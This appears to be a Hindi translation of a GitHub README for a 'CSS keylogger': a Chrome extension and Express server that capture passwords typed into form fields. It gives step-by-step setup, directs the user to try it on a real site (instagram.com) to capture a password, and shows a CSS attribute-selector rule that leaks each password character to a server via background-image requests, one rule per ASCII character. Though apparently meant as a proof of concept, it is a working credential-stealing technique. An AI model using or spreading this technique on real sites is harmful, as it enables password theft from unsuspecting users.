CSS कीस्लॉगर

Chrome एक्सटेंशन और Express सर्वर जो CSS की की-लॉगिंग क्षमताओं का शोषण करता है।

उपयोग करने के लिए

Chrome एक्सटेंशन सेटअप करें

1. रिपॉज़िटरी डाउनलोड करें git clone https://github.com/maxchehab/CSS-Keylogging
2. अपने ब्राउज़र में chrome://extensions पर जाएँ (या Chrome मेनू खोलें जो ओम्निबॉक्स के दाईं ओर तीन क्षैतिज पट्टियों के आइकन पर क्लिक करके, और अधिक टूल्स मेनू के अंतर्गत एक्सटेंशन चुनें)।
3. सुनिश्चित करें कि ऊपरी दाएँ कोने में डेवलपर मोड चेकबॉक्स चेक किया गया है।
4. फ़ाइल-चयन डायलॉग खोलने के लिए Load unpacked extension… पर क्लिक करें।
5. उस निर्देशिका में css-keylogger-extension का चयन करें जिसमें आपने यह रिपॉज़िटरी डाउनलोड की है।

Express सर्वर सेटअप करें

1. yarn
2. yarn start

Haxking l33t passw0rds

1. एक वेबसाइट खोलें जो React जैसे नियंत्रित घटक फ्रेमवर्क का उपयोग करती है। https://instagram.com।
2. किसी भी वेबपेज के ऊपरी दाएँ कोने पर एक्सटेंशन C दबाएँ।
3. अपना पासवर्ड टाइप करें।
4. आपका पासवर्ड Express सर्वर द्वारा कैप्चर किया जाना चाहिए।

यह कैसे काम करता है

यह हमला वास्तव में सरल है। CSS एट्रिब्यूट सेलेक्टर का उपयोग करके, कोई व्यक्ति background-image लोड करने के बहाने बाहरी सर्वर से संसाधनों का अनुरोध कर सकता है।

उदाहरण के लिए, निम्नलिखित CSS उन सभी इनपुट्स का चयन करेगा जिनका type password के बराबर है और value a पर समाप्त होता है। यह तब http://localhost:3000/a से एक छवि लोड करने का प्रयास करेगा।

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

एक सरल स्क्रिप्ट का उपयोग करके कोई css फ़ाइल बना सकता है जो प्रत्येक ASCII वर्ण के लिए एक कस्टम अनुरोध भेजेगी।